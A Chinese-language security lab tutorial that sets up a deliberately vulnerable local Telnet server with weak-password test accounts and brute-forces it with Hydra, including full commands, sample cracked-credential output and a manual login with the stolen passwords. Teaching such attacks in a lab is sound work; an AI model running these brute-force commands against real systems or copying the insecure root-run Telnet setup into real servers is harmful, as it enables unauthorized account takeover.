使用 Hydra 攻击 Telnet 服务

HydraBeginner
立即练习

介绍

在这个实验(lab)中,你将学习如何使用 Hydra(一款多功能的密码破解工具)对 Telnet 服务进行暴力破解攻击。你将设置一个存在漏洞的 Telnet 环境,并使用 Hydra 来演示如何利用薄弱的凭据。

本实验(lab)涵盖 Telnet 服务器配置、创建测试凭据以及执行 Hydra 攻击,以突出安全风险。通过实践操作,你将了解 Telnet 不安全的原因,并学习使用加密替代方案的重要性。

安装本地 Telnet 服务器

在此步骤中,你将在你的 LabEx 虚拟机(VM)上安装 Telnet 服务器,以创建一个本地测试环境。Telnet 是最古老的网络协议之一,允许远程访问系统。但是,它以明文形式传输所有数据(包括密码),而没有加密,这使得它在实际应用中非常不安全,但非常适合学习安全测试概念。

  1. 首先,更新你的软件包列表,以确保你获得最新的版本。这是安装任何新软件之前的一个好习惯:
sudo apt update
  1. 安装 Telnet 服务器软件包(xinetd)。Xinetd 是一个超级服务器,用于管理 Telnet 连接。-y 标志会自动确认安装过程中的任何提示:
sudo apt install -y xinetd telnetd
  1. /etc/xinetd.d/telnet 创建 Telnet 配置文件。我们将使用 nano,这是一个简单的文本编辑器,大多数 Linux 系统都自带:
sudo nano /etc/xinetd.d/telnet
  1. 添加以下配置(按 Ctrl+O 保存,然后按 Ctrl+X 退出)。此配置启用 Telnet 服务并设置基本参数。disable = no 行特别重要,因为它激活了该服务:
service telnet
{
        disable         = no
        flags           = REUSE
        socket_type     = stream
        wait            = no
        user            = root
        server          = /usr/sbin/in.telnetd
        log_on_failure  += USERID
}
  1. 重新启动 xinetd 服务以应用更改。服务通常需要在配置修改后重新启动:
sudo service xinetd restart
  1. 验证 Telnet 服务是否正在运行。端口 23 是 Telnet 的默认端口。netstat 命令显示活动的网络连接和监听端口:
sudo netstat -tulnp

setup telnet server

你应该看到类似于以下的输出,表明 Telnet 服务正在端口 23 上监听:

Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      22/sshd: /usr/sbin/
tcp        0      0 0.0.0.0:3001            0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:3002            0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.11:38203        0.0.0.0:*               LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      22/sshd: /usr/sbin/
tcp6       0      0 :::23                   :::*                    LISTEN      1620/xinetd
udp        0      0 0.0.0.0:3001            0.0.0.0:*                           -
udp        0      0 127.0.0.11:54421        0.0.0.0:*                           -

配置带有测试帐户的 Telnet

在此步骤中,你将创建测试账户,这些账户将用于 Hydra 暴力破解攻击演示。这些账户代表在真实系统中发现的常见弱凭据,使我们能够安全地演示攻击者如何利用糟糕的密码习惯。

  1. 首先,使用 useradd 命令创建三个测试用户账户。-m 标志确保为每个用户创建主目录:
sudo useradd -m user1
sudo useradd -m user2
sudo useradd -m user3
  1. 现在为这些账户设置简单的密码。我们使用常见的弱密码('password'、'123456'、'qwerty')来模拟真实世界的漏洞。chpasswd 命令安全地更改密码,而无需交互式提示:
echo "user1:password" | sudo chpasswd
echo "user2:123456" | sudo chpasswd
echo "user3:qwerty" | sudo chpasswd
  1. 通过检查系统的密码文件来验证账户是否已成功创建。grep 命令在 /etc/passwd 中过滤我们的测试用户,该文件存储所有用户账户信息:
grep -E 'user1|user2|user3' /etc/passwd

你应该看到类似于以下的输出:

user1:x:5001:5001::/home/user1:/bin/sh
user2:x:5002:5003::/home/user2:/bin/sh
user3:x:5003:5004::/home/user3:/bin/sh
  1. 在你的项目目录中为 Hydra 攻击创建凭据文件。这些文本文件将作为 Hydra 在暴力破解尝试期间的用户名和密码组合的输入:
cd ~/project
echo -e "user1\nuser2\nuser3" > usernames.txt
echo -e "password\n123456\nqwerty" > passwords.txt
  1. 验证凭据文件是否包含正确的信息。cat 命令显示文件内容——我们正在检查这两个文件,以确保符合 Hydra 要求的正确格式:
cat usernames.txt && cat passwords.txt

你应该看到:

user1
user2
user3
password
123456
qwerty

加载用户名和密码文件

在此步骤中,你将准备 Hydra 将用于暴力破解攻击的凭据文件。这些文件包含我们在上一步中创建的用户名和密码。暴力破解攻击的工作原理是系统地尝试所有可能的凭据组合,直到找到正确的组合。拥有组织良好的凭据文件可以使此过程更加高效。

  1. 首先,验证凭据文件是否存在于你的项目目录中。这很重要,因为 Hydra 需要这些文件才能执行攻击:
cd ~/project
ls -l usernames.txt passwords.txt

你应该看到类似于以下的输出:

-rw-r--r-- 1 labex labex 12 May  1 10:00 passwords.txt
-rw-r--r-- 1 labex labex 12 May  1 10:00 usernames.txt
  1. 查看两个文件的内容,以确认它们的格式正确。每个用户名和密码都应该在单独的一行上,因为 Hydra 会逐行读取它们:
echo "Usernames:" && cat usernames.txt
echo "Passwords:" && cat passwords.txt

预期输出:

Usernames:
user1
user2
user3
Passwords:
password
123456
qwerty
  1. 创建一个组合凭据文件以进行测试。这个组合文件并排显示用户名 - 密码对,这有助于验证它们是否正确匹配:
paste usernames.txt passwords.txt > credentials.txt
cat credentials.txt

这将显示:

user1   password
user2   123456
user3   qwerty
  1. 如果尚未安装 Hydra,请安装它(尽管它应该已预先安装在 LabEx 虚拟机(VM)中)。Hydra 是我们将用于对 Telnet 服务执行暴力破解攻击的工具:
sudo apt install -y hydra hydra-gtk
  1. 验证 Hydra 是否已安装并检查其版本。了解版本有助于在进行故障排除或查找特定功能时提供帮助:
hydra -h | head -n 5

你应该看到 Hydra 的帮助输出,从以下内容开始:

Hydra v9.2 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes.

Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-c TIME] [-ISOuvVd46] [-m MODULE_OPT] [service://server[:PORT][/OPT]]

对 Telnet 服务运行 Hydra 攻击

在此步骤中,你将使用 Hydra 对本地 Telnet 服务器执行暴力破解攻击,使用之前准备的凭据文件。Hydra 是一种流行的密码破解工具,支持多种协议,包括 Telnet。该攻击将系统地尝试你文件中的所有用户名/密码组合。

  1. 首先,确保你在存储凭据文件的项目目录中。这很重要,因为 Hydra 需要访问这些文件:
cd ~/project
  1. 现在针对本地 Telnet 服务运行 Hydra(127.0.0.1 是指向你自己的机器的回环地址)。-L 标志指定用户名列表,-P 指定密码列表:
hydra -L usernames.txt -P passwords.txt telnet://127.0.0.1
  1. 当 Hydra 运行时,它将显示实时进度。每行显示一个尝试的组合。成功后,它将显示有效的凭据,如下所示:
[DATA] attacking telnet://127.0.0.1:23/
[23][telnet] host: 127.0.0.1   login: user3   password: qwerty
[23][telnet] host: 127.0.0.1   login: user2   password: 123456
[23][telnet] host: 127.0.0.1   login: user1   password: password
1 of 1 target successfully completed, 3 valid passwords found

run hydra attack

  1. 要保存你的结果以进行文档记录或进一步分析,请使用 -o 标志,后跟输出文件名:
hydra -L usernames.txt -P passwords.txt telnet://127.0.0.1 -o hydra_results.txt
  1. 攻击完成后,你可以查看结果文件以查看哪些凭据有效:
cat hydra_results.txt

显示成功登录尝试的示例输出:

[23][telnet] host: 127.0.0.1   login: user3   password: qwerty
[23][telnet] host: 127.0.0.1   login: user2   password: 123456
[23][telnet] host: 127.0.0.1   login: user1   password: password
  1. 出于教育目的,你可能想详细查看每次尝试。-vV 标志启用详细模式(verbose mode),显示 Hydra 尝试的每个组合:
hydra -vV -L usernames.txt -P passwords.txt telnet://127.0.0.1

详细输出将如下所示,显示失败和成功的尝试:

[VERBOSE] Attempting user1:password... [SUCCESS]

检查 Telnet 攻击输出

在此步骤中,你将分析 Hydra 对 Telnet 服务进行的暴力破解攻击的结果,以了解哪些凭据被泄露。Hydra 会针对该服务测试多个用户名/密码组合,并且输出文件包含所有成功的登录以及失败的尝试。

  1. 首先,导航到 Hydra 保存其结果的项目目录,并查看完整的输出文件:
cd ~/project
cat hydra_results.txt

示例输出显示了成功登录的格式。每行包含协议(telnet)、目标 IP 地址和破解的凭据:

[23][telnet] host: 127.0.0.1   login: user1   password: password
[23][telnet] host: 127.0.0.1   login: user2   password: 123456
  1. 要从可能很大的输出文件中仅过滤出成功的登录尝试,请使用 grep 查找包含 "login:" 的行:
grep "login:" hydra_results.txt
  1. 通过使用发现的凭据尝试手动 Telnet 登录来验证泄露的帐户。这证实了 Hydra 的发现,并演示了攻击者将如何使用被盗的凭据:
telnet 127.0.0.1

在登录提示符下输入:

user1
password

成功登录将显示服务器欢迎消息和命令提示符:

Welcome to LabEx Telnet Server
user1@localhost:~$

完成测试后,键入 exit 以退出 Telnet 会话。

  1. 创建一份关于泄露帐户的专业总结报告,以进行文档记录。这将创建一个包含格式化结果和计数的新文件:
echo "Compromised Accounts:" > attack_summary.txt
grep "login:" hydra_results.txt >> attack_summary.txt
echo -e "\nTotal compromised: $(grep -c "login:" hydra_results.txt)" >> attack_summary.txt
cat attack_summary.txt

总结

在这个实验中,你学习了如何使用 xinetd 和弱凭据设置一个易受攻击的 Telnet 服务器环境,以用于安全测试目的。该过程包括在 23 端口上配置 Telnet 服务,并创建具有故意设置的弱密码的测试帐户,以演示身份验证漏洞。

该练习突出了使用像 Telnet 这样未加密协议的安全风险,以及实施强密码策略的关键重要性。通过使用 Hydra 的实际演示,你观察到暴力破解攻击可以多么容易地攻破具有弱身份验证机制的系统。